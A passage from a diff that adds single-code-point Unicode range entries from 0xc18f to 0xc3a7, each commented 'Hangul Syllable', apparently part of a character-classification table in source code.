+ [0xc18f, 0xc18f], /* Hangul Syllable */
+ [0xc190, 0xc190], /* Hangul Syllable */
+ [0xc191, 0xc191], /* Hangul Syllable */
+ [0xc192, 0xc192], /* Hangul Syllable */
+ [0xc193, 0xc193], /* Hangul Syllable */
+ [0xc194, 0xc194], /* Hangul Syllable */
+ [0xc195, 0xc195], /* Hangul Syllable */
+ [0xc196, 0xc196], /* Hangul Syllable */
+ [0xc197, 0xc197], /* Hangul Syllable */
+ [0xc198, 0xc198], /* Hangul Syllable */
+ [0xc199, 0xc199], /* Hangul Syllable */
+ [0xc19a, 0xc19a], /* Hangul Syllable */
+ [0xc19b, 0xc19b], /* Hangul Syllable */
+ [0xc19c, 0xc19c], /* Hangul Syllable */
+ [0xc19d, 0xc19d], /* Hangul Syllable */
+ [0xc19e, 0xc19e], /* Hangul Syllable */
+ [0xc19f, 0xc19f], /* Hangul Syllable */
+ [0xc1a0, 0xc1a0], /* Hangul Syllable */
+ [0xc1a1, 0xc1a1], /* Hangul Syllable */
+ [0xc1a2, 0xc1a2], /* Hangul Syllable */
+ [0xc1a3, 0xc1a3], /* Hangul Syllable */
+ [0xc1a4, 0xc1a4], /* Hangul Syllable */
+ [0xc1a5, 0xc1a5], /* Hangul Syllable */
+ [0xc1a6, 0xc1a6], /* Hangul Syllable */
+ [0xc1a7, 0xc1a7], /* Hangul Syllable */
+ [0xc1a8, 0xc1a8], /* Hangul Syllable */
+ [0xc1a9, 0xc1a9], /* Hangul Syllable */
+ [0xc1aa, 0xc1aa], /* Hangul Syllable */
+ [0xc1ab, 0xc1ab], /* Hangul Syllable */
+ [0xc1ac, 0xc1ac], /* Hangul Syllable */
+ [0xc1ad, 0xc1ad], /* Hangul Syllable */
+ [0xc1ae, 0xc1ae], /* Hangul Syllable */
+ [0xc1af, 0xc1af], /* Hangul Syllable */
+ [0xc1b0, 0xc1b0], /* Hangul Syllable */
+ [0xc1b1, 0xc1b1], /* Hangul Syllable */
+ [0xc1b2, 0xc1b2], /* Hangul Syllable */
+ [0xc1b3, 0xc1b3], /* Hangul Syllable */
+ [0xc1b4, 0xc1b4], /* Hangul Syllable */
+ [0xc1b5, 0xc1b5], /* Hangul Syllable */
+ [0xc1b6, 0xc1b6], /* Hangul Syllable */
+ [0xc1b7, 0xc1b7], /* Hangul Syllable */
+ [0xc1b8, 0xc1b8], /* Hangul Syllable */
+ [0xc1b9, 0xc1b9], /* Hangul Syllable */
+ [0xc1ba, 0xc1ba], /* Hangul Syllable */
+ [0xc1bb, 0xc1bb], /* Hangul Syllable */
+ [0xc1bc, 0xc1bc], /* Hangul Syllable */
+ [0xc1bd, 0xc1bd], /* Hangul Syllable */
+ [0xc1be, 0xc1be], /* Hangul Syllable */
+ [0xc1bf, 0xc1bf], /* Hangul Syllable */
+ [0xc1c0, 0xc1c0], /* Hangul Syllable */
+ [0xc1c1, 0xc1c1], /* Hangul Syllable */
+ [0xc1c2, 0xc1c2], /* Hangul Syllable */
+ [0xc1c3, 0xc1c3], /* Hangul Syllable */
+ [0xc1c4, 0xc1c4], /* Hangul Syllable */
+ [0xc1c5, 0xc1c5], /* Hangul Syllable */
+ [0xc1c6, 0xc1c6], /* Hangul Syllable */
+ [0xc1c7, 0xc1c7], /* Hangul Syllable */
+ [0xc1c8, 0xc1c8], /* Hangul Syllable */
+ [0xc1c9, 0xc1c9], /* Hangul Syllable */
+ [0xc1ca, 0xc1ca], /* Hangul Syllable */
+ [0xc1cb, 0xc1cb], /* Hangul Syllable */
+ [0xc1cc, 0xc1cc], /* Hangul Syllable */
+ [0xc1cd, 0xc1cd], /* Hangul Syllable */
+ [0xc1ce, 0xc1ce], /* Hangul Syllable */
+ [0xc1cf, 0xc1cf], /* Hangul Syllable */
+ [0xc1d0, 0xc1d0], /* Hangul Syllable */
+ [0xc1d1, 0xc1d1], /* Hangul Syllable */
+ [0xc1d2, 0xc1d2], /* Hangul Syllable */
+ [0xc1d3, 0xc1d3], /* Hangul Syllable */
+ [0xc1d4, 0xc1d4], /* Hangul Syllable */
+ [0xc1d5, 0xc1d5], /* Hangul Syllable */
+ [0xc1d6, 0xc1d6], /* Hangul Syllable */
+ [0xc1d7, 0xc1d7], /* Hangul Syllable */
+ [0xc1d8, 0xc1d8], /* Hangul Syllable */
+ [0xc1d9, 0xc1d9], /* Hangul Syllable */
+ [0xc1da, 0xc1da], /* Hangul Syllable */
+ [0xc1db, 0xc1db], /* Hangul Syllable */
+ [0xc1dc, 0xc1dc], /* Hangul Syllable */
+ [0xc1dd, 0xc1dd], /* Hangul Syllable */
+ [0xc1de, 0xc1de], /* Hangul Syllable */
+ [0xc1df, 0xc1df], /* Hangul Syllable */
+ [0xc1e0, 0xc1e0], /* Hangul Syllable */
+ [0xc1e1, 0xc1e1], /* Hangul Syllable */
+ [0xc1e2, 0xc1e2], /* Hangul Syllable */
+ [0xc1e3, 0xc1e3], /* Hangul Syllable */
+ [0xc1e4, 0xc1e4], /* Hangul Syllable */
+ [0xc1e5, 0xc1e5], /* Hangul Syllable */
+ [0xc1e6, 0xc1e6], /* Hangul Syllable */
+ [0xc1e7, 0xc1e7], /* Hangul Syllable */
+ [0xc1e8, 0xc1e8], /* Hangul Syllable */
+ [0xc1e9, 0xc1e9], /* Hangul Syllable */
+ [0xc1ea, 0xc1ea], /* Hangul Syllable */
+ [0xc1eb, 0xc1eb], /* Hangul Syllable */
+ [0xc1ec, 0xc1ec], /* Hangul Syllable */
+ [0xc1ed, 0xc1ed], /* Hangul Syllable */
+ [0xc1ee, 0xc1ee], /* Hangul Syllable */
+ [0xc1ef, 0xc1ef], /* Hangul Syllable */
+ [0xc1f0, 0xc1f0], /* Hangul Syllable */
+ [0xc1f1, 0xc1f1], /* Hangul Syllable */
+ [0xc1f2, 0xc1f2], /* Hangul Syllable */
+ [0xc1f3, 0xc1f3], /* Hangul Syllable */
+ [0xc1f4, 0xc1f4], /* Hangul Syllable */
+ [0xc1f5, 0xc1f5], /* Hangul Syllable */
+ [0xc1f6, 0xc1f6], /* Hangul Syllable */
+ [0xc1f7, 0xc1f7], /* Hangul Syllable */
+ [0xc1f8, 0xc1f8], /* Hangul Syllable */
+ [0xc1f9, 0xc1f9], /* Hangul Syllable */
+ [0xc1fa, 0xc1fa], /* Hangul Syllable */
+ [0xc1fb, 0xc1fb], /* Hangul Syllable */
+ [0xc1fc, 0xc1fc], /* Hangul Syllable */
+ [0xc1fd, 0xc1fd], /* Hangul Syllable */
+ [0xc1fe, 0xc1fe], /* Hangul Syllable */
+ [0xc1ff, 0xc1ff], /* Hangul Syllable */
+ [0xc200, 0xc200], /* Hangul Syllable */
+ [0xc201, 0xc201], /* Hangul Syllable */
+ [0xc202, 0xc202], /* Hangul Syllable */
+ [0xc203, 0xc203], /* Hangul Syllable */
+ [0xc204, 0xc204], /* Hangul Syllable */
+ [0xc205, 0xc205], /* Hangul Syllable */
+ [0xc206, 0xc206], /* Hangul Syllable */
+ [0xc207, 0xc207], /* Hangul Syllable */
+ [0xc208, 0xc208], /* Hangul Syllable */
+ [0xc209, 0xc209], /* Hangul Syllable */
+ [0xc20a, 0xc20a], /* Hangul Syllable */
+ [0xc20b, 0xc20b], /* Hangul Syllable */
+ [0xc20c, 0xc20c], /* Hangul Syllable */
+ [0xc20d, 0xc20d], /* Hangul Syllable */
+ [0xc20e, 0xc20e], /* Hangul Syllable */
+ [0xc20f, 0xc20f], /* Hangul Syllable */
+ [0xc210, 0xc210], /* Hangul Syllable */
+ [0xc211, 0xc211], /* Hangul Syllable */
+ [0xc212, 0xc212], /* Hangul Syllable */
+ [0xc213, 0xc213], /* Hangul Syllable */
+ [0xc214, 0xc214], /* Hangul Syllable */
+ [0xc215, 0xc215], /* Hangul Syllable */
+ [0xc216, 0xc216], /* Hangul Syllable */
+ [0xc217, 0xc217], /* Hangul Syllable */
+ [0xc218, 0xc218], /* Hangul Syllable */
+ [0xc219, 0xc219], /* Hangul Syllable */
+ [0xc21a, 0xc21a], /* Hangul Syllable */
+ [0xc21b, 0xc21b], /* Hangul Syllable */
+ [0xc21c, 0xc21c], /* Hangul Syllable */
+ [0xc21d, 0xc21d], /* Hangul Syllable */
+ [0xc21e, 0xc21e], /* Hangul Syllable */
+ [0xc21f, 0xc21f], /* Hangul Syllable */
+ [0xc220, 0xc220], /* Hangul Syllable */
+ [0xc221, 0xc221], /* Hangul Syllable */
+ [0xc222, 0xc222], /* Hangul Syllable */
+ [0xc223, 0xc223], /* Hangul Syllable */
+ [0xc224, 0xc224], /* Hangul Syllable */
+ [0xc225, 0xc225], /* Hangul Syllable */
+ [0xc226, 0xc226], /* Hangul Syllable */
+ [0xc227, 0xc227], /* Hangul Syllable */
+ [0xc228, 0xc228], /* Hangul Syllable */
+ [0xc229, 0xc229], /* Hangul Syllable */
+ [0xc22a, 0xc22a], /* Hangul Syllable */
+ [0xc22b, 0xc22b], /* Hangul Syllable */
+ [0xc22c, 0xc22c], /* Hangul Syllable */
+ [0xc22d, 0xc22d], /* Hangul Syllable */
+ [0xc22e, 0xc22e], /* Hangul Syllable */
+ [0xc22f, 0xc22f], /* Hangul Syllable */
+ [0xc230, 0xc230], /* Hangul Syllable */
+ [0xc231, 0xc231], /* Hangul Syllable */
+ [0xc232, 0xc232], /* Hangul Syllable */
+ [0xc233, 0xc233], /* Hangul Syllable */
+ [0xc234, 0xc234], /* Hangul Syllable */
+ [0xc235, 0xc235], /* Hangul Syllable */
+ [0xc236, 0xc236], /* Hangul Syllable */
+ [0xc237, 0xc237], /* Hangul Syllable */
+ [0xc238, 0xc238], /* Hangul Syllable */
+ [0xc239, 0xc239], /* Hangul Syllable */
+ [0xc23a, 0xc23a], /* Hangul Syllable */
+ [0xc23b, 0xc23b], /* Hangul Syllable */
+ [0xc23c, 0xc23c], /* Hangul Syllable */
+ [0xc23d, 0xc23d], /* Hangul Syllable */
+ [0xc23e, 0xc23e], /* Hangul Syllable */
+ [0xc23f, 0xc23f], /* Hangul Syllable */
+ [0xc240, 0xc240], /* Hangul Syllable */
+ [0xc241, 0xc241], /* Hangul Syllable */
+ [0xc242, 0xc242], /* Hangul Syllable */
+ [0xc243, 0xc243], /* Hangul Syllable */
+ [0xc244, 0xc244], /* Hangul Syllable */
+ [0xc245, 0xc245], /* Hangul Syllable */
+ [0xc246, 0xc246], /* Hangul Syllable */
+ [0xc247, 0xc247], /* Hangul Syllable */
+ [0xc248, 0xc248], /* Hangul Syllable */
+ [0xc249, 0xc249], /* Hangul Syllable */
+ [0xc24a, 0xc24a], /* Hangul Syllable */
+ [0xc24b, 0xc24b], /* Hangul Syllable */
+ [0xc24c, 0xc24c], /* Hangul Syllable */
+ [0xc24d, 0xc24d], /* Hangul Syllable */
+ [0xc24e, 0xc24e], /* Hangul Syllable */
+ [0xc24f, 0xc24f], /* Hangul Syllable */
+ [0xc250, 0xc250], /* Hangul Syllable */
+ [0xc251, 0xc251], /* Hangul Syllable */
+ [0xc252, 0xc252], /* Hangul Syllable */
+ [0xc253, 0xc253], /* Hangul Syllable */
+ [0xc254, 0xc254], /* Hangul Syllable */
+ [0xc255, 0xc255], /* Hangul Syllable */
+ [0xc256, 0xc256], /* Hangul Syllable */
+ [0xc257, 0xc257], /* Hangul Syllable */
+ [0xc258, 0xc258], /* Hangul Syllable */
+ [0xc259, 0xc259], /* Hangul Syllable */
+ [0xc25a, 0xc25a], /* Hangul Syllable */
+ [0xc25b, 0xc25b], /* Hangul Syllable */
+ [0xc25c, 0xc25c], /* Hangul Syllable */
+ [0xc25d, 0xc25d], /* Hangul Syllable */
+ [0xc25e, 0xc25e], /* Hangul Syllable */
+ [0xc25f, 0xc25f], /* Hangul Syllable */
+ [0xc260, 0xc260], /* Hangul Syllable */
+ [0xc261, 0xc261], /* Hangul Syllable */
+ [0xc262, 0xc262], /* Hangul Syllable */
+ [0xc263, 0xc263], /* Hangul Syllable */
+ [0xc264, 0xc264], /* Hangul Syllable */
+ [0xc265, 0xc265], /* Hangul Syllable */
+ [0xc266, 0xc266], /* Hangul Syllable */
+ [0xc267, 0xc267], /* Hangul Syllable */
+ [0xc268, 0xc268], /* Hangul Syllable */
+ [0xc269, 0xc269], /* Hangul Syllable */
+ [0xc26a, 0xc26a], /* Hangul Syllable */
+ [0xc26b, 0xc26b], /* Hangul Syllable */
+ [0xc26c, 0xc26c], /* Hangul Syllable */
+ [0xc26d, 0xc26d], /* Hangul Syllable */
+ [0xc26e, 0xc26e], /* Hangul Syllable */
+ [0xc26f, 0xc26f], /* Hangul Syllable */
+ [0xc270, 0xc270], /* Hangul Syllable */
+ [0xc271, 0xc271], /* Hangul Syllable */
+ [0xc272, 0xc272], /* Hangul Syllable */
+ [0xc273, 0xc273], /* Hangul Syllable */
+ [0xc274, 0xc274], /* Hangul Syllable */
+ [0xc275, 0xc275], /* Hangul Syllable */
+ [0xc276, 0xc276], /* Hangul Syllable */
+ [0xc277, 0xc277], /* Hangul Syllable */
+ [0xc278, 0xc278], /* Hangul Syllable */
+ [0xc279, 0xc279], /* Hangul Syllable */
+ [0xc27a, 0xc27a], /* Hangul Syllable */
+ [0xc27b, 0xc27b], /* Hangul Syllable */
+ [0xc27c, 0xc27c], /* Hangul Syllable */
+ [0xc27d, 0xc27d], /* Hangul Syllable */
+ [0xc27e, 0xc27e], /* Hangul Syllable */
+ [0xc27f, 0xc27f], /* Hangul Syllable */
+ [0xc280, 0xc280], /* Hangul Syllable */
+ [0xc281, 0xc281], /* Hangul Syllable */
+ [0xc282, 0xc282], /* Hangul Syllable */
+ [0xc283, 0xc283], /* Hangul Syllable */
+ [0xc284, 0xc284], /* Hangul Syllable */
+ [0xc285, 0xc285], /* Hangul Syllable */
+ [0xc286, 0xc286], /* Hangul Syllable */
+ [0xc287, 0xc287], /* Hangul Syllable */
+ [0xc288, 0xc288], /* Hangul Syllable */
+ [0xc289, 0xc289], /* Hangul Syllable */
+ [0xc28a, 0xc28a], /* Hangul Syllable */
+ [0xc28b, 0xc28b], /* Hangul Syllable */
+ [0xc28c, 0xc28c], /* Hangul Syllable */
+ [0xc28d, 0xc28d], /* Hangul Syllable */
+ [0xc28e, 0xc28e], /* Hangul Syllable */
+ [0xc28f, 0xc28f], /* Hangul Syllable */
+ [0xc290, 0xc290], /* Hangul Syllable */
+ [0xc291, 0xc291], /* Hangul Syllable */
+ [0xc292, 0xc292], /* Hangul Syllable */
+ [0xc293, 0xc293], /* Hangul Syllable */
+ [0xc294, 0xc294], /* Hangul Syllable */
+ [0xc295, 0xc295], /* Hangul Syllable */
+ [0xc296, 0xc296], /* Hangul Syllable */
+ [0xc297, 0xc297], /* Hangul Syllable */
+ [0xc298, 0xc298], /* Hangul Syllable */
+ [0xc299, 0xc299], /* Hangul Syllable */
+ [0xc29a, 0xc29a], /* Hangul Syllable */
+ [0xc29b, 0xc29b], /* Hangul Syllable */
+ [0xc29c, 0xc29c], /* Hangul Syllable */
+ [0xc29d, 0xc29d], /* Hangul Syllable */
+ [0xc29e, 0xc29e], /* Hangul Syllable */
+ [0xc29f, 0xc29f], /* Hangul Syllable */
+ [0xc2a0, 0xc2a0], /* Hangul Syllable */
+ [0xc2a1, 0xc2a1], /* Hangul Syllable */
+ [0xc2a2, 0xc2a2], /* Hangul Syllable */
+ [0xc2a3, 0xc2a3], /* Hangul Syllable */
+ [0xc2a4, 0xc2a4], /* Hangul Syllable */
+ [0xc2a5, 0xc2a5], /* Hangul Syllable */
+ [0xc2a6, 0xc2a6], /* Hangul Syllable */
+ [0xc2a7, 0xc2a7], /* Hangul Syllable */
+ [0xc2a8, 0xc2a8], /* Hangul Syllable */
+ [0xc2a9, 0xc2a9], /* Hangul Syllable */
+ [0xc2aa, 0xc2aa], /* Hangul Syllable */
+ [0xc2ab, 0xc2ab], /* Hangul Syllable */
+ [0xc2ac, 0xc2ac], /* Hangul Syllable */
+ [0xc2ad, 0xc2ad], /* Hangul Syllable */
+ [0xc2ae, 0xc2ae], /* Hangul Syllable */
+ [0xc2af, 0xc2af], /* Hangul Syllable */
+ [0xc2b0, 0xc2b0], /* Hangul Syllable */
+ [0xc2b1, 0xc2b1], /* Hangul Syllable */
+ [0xc2b2, 0xc2b2], /* Hangul Syllable */
+ [0xc2b3, 0xc2b3], /* Hangul Syllable */
+ [0xc2b4, 0xc2b4], /* Hangul Syllable */
+ [0xc2b5, 0xc2b5], /* Hangul Syllable */
+ [0xc2b6, 0xc2b6], /* Hangul Syllable */
+ [0xc2b7, 0xc2b7], /* Hangul Syllable */
+ [0xc2b8, 0xc2b8], /* Hangul Syllable */
+ [0xc2b9, 0xc2b9], /* Hangul Syllable */
+ [0xc2ba, 0xc2ba], /* Hangul Syllable */
+ [0xc2bb, 0xc2bb], /* Hangul Syllable */
+ [0xc2bc, 0xc2bc], /* Hangul Syllable */
+ [0xc2bd, 0xc2bd], /* Hangul Syllable */
+ [0xc2be, 0xc2be], /* Hangul Syllable */
+ [0xc2bf, 0xc2bf], /* Hangul Syllable */
+ [0xc2c0, 0xc2c0], /* Hangul Syllable */
+ [0xc2c1, 0xc2c1], /* Hangul Syllable */
+ [0xc2c2, 0xc2c2], /* Hangul Syllable */
+ [0xc2c3, 0xc2c3], /* Hangul Syllable */
+ [0xc2c4, 0xc2c4], /* Hangul Syllable */
+ [0xc2c5, 0xc2c5], /* Hangul Syllable */
+ [0xc2c6, 0xc2c6], /* Hangul Syllable */
+ [0xc2c7, 0xc2c7], /* Hangul Syllable */
+ [0xc2c8, 0xc2c8], /* Hangul Syllable */
+ [0xc2c9, 0xc2c9], /* Hangul Syllable */
+ [0xc2ca, 0xc2ca], /* Hangul Syllable */
+ [0xc2cb, 0xc2cb], /* Hangul Syllable */
+ [0xc2cc, 0xc2cc], /* Hangul Syllable */
+ [0xc2cd, 0xc2cd], /* Hangul Syllable */
+ [0xc2ce, 0xc2ce], /* Hangul Syllable */
+ [0xc2cf, 0xc2cf], /* Hangul Syllable */
+ [0xc2d0, 0xc2d0], /* Hangul Syllable */
+ [0xc2d1, 0xc2d1], /* Hangul Syllable */
+ [0xc2d2, 0xc2d2], /* Hangul Syllable */
+ [0xc2d3, 0xc2d3], /* Hangul Syllable */
+ [0xc2d4, 0xc2d4], /* Hangul Syllable */
+ [0xc2d5, 0xc2d5], /* Hangul Syllable */
+ [0xc2d6, 0xc2d6], /* Hangul Syllable */
+ [0xc2d7, 0xc2d7], /* Hangul Syllable */
+ [0xc2d8, 0xc2d8], /* Hangul Syllable */
+ [0xc2d9, 0xc2d9], /* Hangul Syllable */
+ [0xc2da, 0xc2da], /* Hangul Syllable */
+ [0xc2db, 0xc2db], /* Hangul Syllable */
+ [0xc2dc, 0xc2dc], /* Hangul Syllable */
+ [0xc2dd, 0xc2dd], /* Hangul Syllable */
+ [0xc2de, 0xc2de], /* Hangul Syllable */
+ [0xc2df, 0xc2df], /* Hangul Syllable */
+ [0xc2e0, 0xc2e0], /* Hangul Syllable */
+ [0xc2e1, 0xc2e1], /* Hangul Syllable */
+ [0xc2e2, 0xc2e2], /* Hangul Syllable */
+ [0xc2e3, 0xc2e3], /* Hangul Syllable */
+ [0xc2e4, 0xc2e4], /* Hangul Syllable */
+ [0xc2e5, 0xc2e5], /* Hangul Syllable */
+ [0xc2e6, 0xc2e6], /* Hangul Syllable */
+ [0xc2e7, 0xc2e7], /* Hangul Syllable */
+ [0xc2e8, 0xc2e8], /* Hangul Syllable */
+ [0xc2e9, 0xc2e9], /* Hangul Syllable */
+ [0xc2ea, 0xc2ea], /* Hangul Syllable */
+ [0xc2eb, 0xc2eb], /* Hangul Syllable */
+ [0xc2ec, 0xc2ec], /* Hangul Syllable */
+ [0xc2ed, 0xc2ed], /* Hangul Syllable */
+ [0xc2ee, 0xc2ee], /* Hangul Syllable */
+ [0xc2ef, 0xc2ef], /* Hangul Syllable */
+ [0xc2f0, 0xc2f0], /* Hangul Syllable */
+ [0xc2f1, 0xc2f1], /* Hangul Syllable */
+ [0xc2f2, 0xc2f2], /* Hangul Syllable */
+ [0xc2f3, 0xc2f3], /* Hangul Syllable */
+ [0xc2f4, 0xc2f4], /* Hangul Syllable */
+ [0xc2f5, 0xc2f5], /* Hangul Syllable */
+ [0xc2f6, 0xc2f6], /* Hangul Syllable */
+ [0xc2f7, 0xc2f7], /* Hangul Syllable */
+ [0xc2f8, 0xc2f8], /* Hangul Syllable */
+ [0xc2f9, 0xc2f9], /* Hangul Syllable */
+ [0xc2fa, 0xc2fa], /* Hangul Syllable */
+ [0xc2fb, 0xc2fb], /* Hangul Syllable */
+ [0xc2fc, 0xc2fc], /* Hangul Syllable */
+ [0xc2fd, 0xc2fd], /* Hangul Syllable */
+ [0xc2fe, 0xc2fe], /* Hangul Syllable */
+ [0xc2ff, 0xc2ff], /* Hangul Syllable */
+ [0xc300, 0xc300], /* Hangul Syllable */
+ [0xc301, 0xc301], /* Hangul Syllable */
+ [0xc302, 0xc302], /* Hangul Syllable */
+ [0xc303, 0xc303], /* Hangul Syllable */
+ [0xc304, 0xc304], /* Hangul Syllable */
+ [0xc305, 0xc305], /* Hangul Syllable */
+ [0xc306, 0xc306], /* Hangul Syllable */
+ [0xc307, 0xc307], /* Hangul Syllable */
+ [0xc308, 0xc308], /* Hangul Syllable */
+ [0xc309, 0xc309], /* Hangul Syllable */
+ [0xc30a, 0xc30a], /* Hangul Syllable */
+ [0xc30b, 0xc30b], /* Hangul Syllable */
+ [0xc30c, 0xc30c], /* Hangul Syllable */
+ [0xc30d, 0xc30d], /* Hangul Syllable */
+ [0xc30e, 0xc30e], /* Hangul Syllable */
+ [0xc30f, 0xc30f], /* Hangul Syllable */
+ [0xc310, 0xc310], /* Hangul Syllable */
+ [0xc311, 0xc311], /* Hangul Syllable */
+ [0xc312, 0xc312], /* Hangul Syllable */
+ [0xc313, 0xc313], /* Hangul Syllable */
+ [0xc314, 0xc314], /* Hangul Syllable */
+ [0xc315, 0xc315], /* Hangul Syllable */
+ [0xc316, 0xc316], /* Hangul Syllable */
+ [0xc317, 0xc317], /* Hangul Syllable */
+ [0xc318, 0xc318], /* Hangul Syllable */
+ [0xc319, 0xc319], /* Hangul Syllable */
+ [0xc31a, 0xc31a], /* Hangul Syllable */
+ [0xc31b, 0xc31b], /* Hangul Syllable */
+ [0xc31c, 0xc31c], /* Hangul Syllable */
+ [0xc31d, 0xc31d], /* Hangul Syllable */
+ [0xc31e, 0xc31e], /* Hangul Syllable */
+ [0xc31f, 0xc31f], /* Hangul Syllable */
+ [0xc320, 0xc320], /* Hangul Syllable */
+ [0xc321, 0xc321], /* Hangul Syllable */
+ [0xc322, 0xc322], /* Hangul Syllable */
+ [0xc323, 0xc323], /* Hangul Syllable */
+ [0xc324, 0xc324], /* Hangul Syllable */
+ [0xc325, 0xc325], /* Hangul Syllable */
+ [0xc326, 0xc326], /* Hangul Syllable */
+ [0xc327, 0xc327], /* Hangul Syllable */
+ [0xc328, 0xc328], /* Hangul Syllable */
+ [0xc329, 0xc329], /* Hangul Syllable */
+ [0xc32a, 0xc32a], /* Hangul Syllable */
+ [0xc32b, 0xc32b], /* Hangul Syllable */
+ [0xc32c, 0xc32c], /* Hangul Syllable */
+ [0xc32d, 0xc32d], /* Hangul Syllable */
+ [0xc32e, 0xc32e], /* Hangul Syllable */
+ [0xc32f, 0xc32f], /* Hangul Syllable */
+ [0xc330, 0xc330], /* Hangul Syllable */
+ [0xc331, 0xc331], /* Hangul Syllable */
+ [0xc332, 0xc332], /* Hangul Syllable */
+ [0xc333, 0xc333], /* Hangul Syllable */
+ [0xc334, 0xc334], /* Hangul Syllable */
+ [0xc335, 0xc335], /* Hangul Syllable */
+ [0xc336, 0xc336], /* Hangul Syllable */
+ [0xc337, 0xc337], /* Hangul Syllable */
+ [0xc338, 0xc338], /* Hangul Syllable */
+ [0xc339, 0xc339], /* Hangul Syllable */
+ [0xc33a, 0xc33a], /* Hangul Syllable */
+ [0xc33b, 0xc33b], /* Hangul Syllable */
+ [0xc33c, 0xc33c], /* Hangul Syllable */
+ [0xc33d, 0xc33d], /* Hangul Syllable */
+ [0xc33e, 0xc33e], /* Hangul Syllable */
+ [0xc33f, 0xc33f], /* Hangul Syllable */
+ [0xc340, 0xc340], /* Hangul Syllable */
+ [0xc341, 0xc341], /* Hangul Syllable */
+ [0xc342, 0xc342], /* Hangul Syllable */
+ [0xc343, 0xc343], /* Hangul Syllable */
+ [0xc344, 0xc344], /* Hangul Syllable */
+ [0xc345, 0xc345], /* Hangul Syllable */
+ [0xc346, 0xc346], /* Hangul Syllable */
+ [0xc347, 0xc347], /* Hangul Syllable */
+ [0xc348, 0xc348], /* Hangul Syllable */
+ [0xc349, 0xc349], /* Hangul Syllable */
+ [0xc34a, 0xc34a], /* Hangul Syllable */
+ [0xc34b, 0xc34b], /* Hangul Syllable */
+ [0xc34c, 0xc34c], /* Hangul Syllable */
+ [0xc34d, 0xc34d], /* Hangul Syllable */
+ [0xc34e, 0xc34e], /* Hangul Syllable */
+ [0xc34f, 0xc34f], /* Hangul Syllable */
+ [0xc350, 0xc350], /* Hangul Syllable */
+ [0xc351, 0xc351], /* Hangul Syllable */
+ [0xc352, 0xc352], /* Hangul Syllable */
+ [0xc353, 0xc353], /* Hangul Syllable */
+ [0xc354, 0xc354], /* Hangul Syllable */
+ [0xc355, 0xc355], /* Hangul Syllable */
+ [0xc356, 0xc356], /* Hangul Syllable */
+ [0xc357, 0xc357], /* Hangul Syllable */
+ [0xc358, 0xc358], /* Hangul Syllable */
+ [0xc359, 0xc359], /* Hangul Syllable */
+ [0xc35a, 0xc35a], /* Hangul Syllable */
+ [0xc35b, 0xc35b], /* Hangul Syllable */
+ [0xc35c, 0xc35c], /* Hangul Syllable */
+ [0xc35d, 0xc35d], /* Hangul Syllable */
+ [0xc35e, 0xc35e], /* Hangul Syllable */
+ [0xc35f, 0xc35f], /* Hangul Syllable */
+ [0xc360, 0xc360], /* Hangul Syllable */
+ [0xc361, 0xc361], /* Hangul Syllable */
+ [0xc362, 0xc362], /* Hangul Syllable */
+ [0xc363, 0xc363], /* Hangul Syllable */
+ [0xc364, 0xc364], /* Hangul Syllable */
+ [0xc365, 0xc365], /* Hangul Syllable */
+ [0xc366, 0xc366], /* Hangul Syllable */
+ [0xc367, 0xc367], /* Hangul Syllable */
+ [0xc368, 0xc368], /* Hangul Syllable */
+ [0xc369, 0xc369], /* Hangul Syllable */
+ [0xc36a, 0xc36a], /* Hangul Syllable */
+ [0xc36b, 0xc36b], /* Hangul Syllable */
+ [0xc36c, 0xc36c], /* Hangul Syllable */
+ [0xc36d, 0xc36d], /* Hangul Syllable */
+ [0xc36e, 0xc36e], /* Hangul Syllable */
+ [0xc36f, 0xc36f], /* Hangul Syllable */
+ [0xc370, 0xc370], /* Hangul Syllable */
+ [0xc371, 0xc371], /* Hangul Syllable */
+ [0xc372, 0xc372], /* Hangul Syllable */
+ [0xc373, 0xc373], /* Hangul Syllable */
+ [0xc374, 0xc374], /* Hangul Syllable */
+ [0xc375, 0xc375], /* Hangul Syllable */
+ [0xc376, 0xc376], /* Hangul Syllable */
+ [0xc377, 0xc377], /* Hangul Syllable */
+ [0xc378, 0xc378], /* Hangul Syllable */
+ [0xc379, 0xc379], /* Hangul Syllable */
+ [0xc37a, 0xc37a], /* Hangul Syllable */
+ [0xc37b, 0xc37b], /* Hangul Syllable */
+ [0xc37c, 0xc37c], /* Hangul Syllable */
+ [0xc37d, 0xc37d], /* Hangul Syllable */
+ [0xc37e, 0xc37e], /* Hangul Syllable */
+ [0xc37f, 0xc37f], /* Hangul Syllable */
+ [0xc380, 0xc380], /* Hangul Syllable */
+ [0xc381, 0xc381], /* Hangul Syllable */
+ [0xc382, 0xc382], /* Hangul Syllable */
+ [0xc383, 0xc383], /* Hangul Syllable */
+ [0xc384, 0xc384], /* Hangul Syllable */
+ [0xc385, 0xc385], /* Hangul Syllable */
+ [0xc386, 0xc386], /* Hangul Syllable */
+ [0xc387, 0xc387], /* Hangul Syllable */
+ [0xc388, 0xc388], /* Hangul Syllable */
+ [0xc389, 0xc389], /* Hangul Syllable */
+ [0xc38a, 0xc38a], /* Hangul Syllable */
+ [0xc38b, 0xc38b], /* Hangul Syllable */
+ [0xc38c, 0xc38c], /* Hangul Syllable */
+ [0xc38d, 0xc38d], /* Hangul Syllable */
+ [0xc38e, 0xc38e], /* Hangul Syllable */
+ [0xc38f, 0xc38f], /* Hangul Syllable */
+ [0xc390, 0xc390], /* Hangul Syllable */
+ [0xc391, 0xc391], /* Hangul Syllable */
+ [0xc392, 0xc392], /* Hangul Syllable */
+ [0xc393, 0xc393], /* Hangul Syllable */
+ [0xc394, 0xc394], /* Hangul Syllable */
+ [0xc395, 0xc395], /* Hangul Syllable */
+ [0xc396, 0xc396], /* Hangul Syllable */
+ [0xc397, 0xc397], /* Hangul Syllable */
+ [0xc398, 0xc398], /* Hangul Syllable */
+ [0xc399, 0xc399], /* Hangul Syllable */
+ [0xc39a, 0xc39a], /* Hangul Syllable */
+ [0xc39b, 0xc39b], /* Hangul Syllable */
+ [0xc39c, 0xc39c], /* Hangul Syllable */
+ [0xc39d, 0xc39d], /* Hangul Syllable */
+ [0xc39e, 0xc39e], /* Hangul Syllable */
+ [0xc39f, 0xc39f], /* Hangul Syllable */
+ [0xc3a0, 0xc3a0], /* Hangul Syllable */
+ [0xc3a1, 0xc3a1], /* Hangul Syllable */
+ [0xc3a2, 0xc3a2], /* Hangul Syllable */
+ [0xc3a3, 0xc3a3], /* Hangul Syllable */
+ [0xc3a4, 0xc3a4], /* Hangul Syllable */
+ [0xc3a5, 0xc3a5], /* Hangul Syllable */
+ [0xc3a6, 0xc3a6], /* Hangul Syllable */
+ [0xc3a7, 0xc3a7], /* Hangul Syllable */
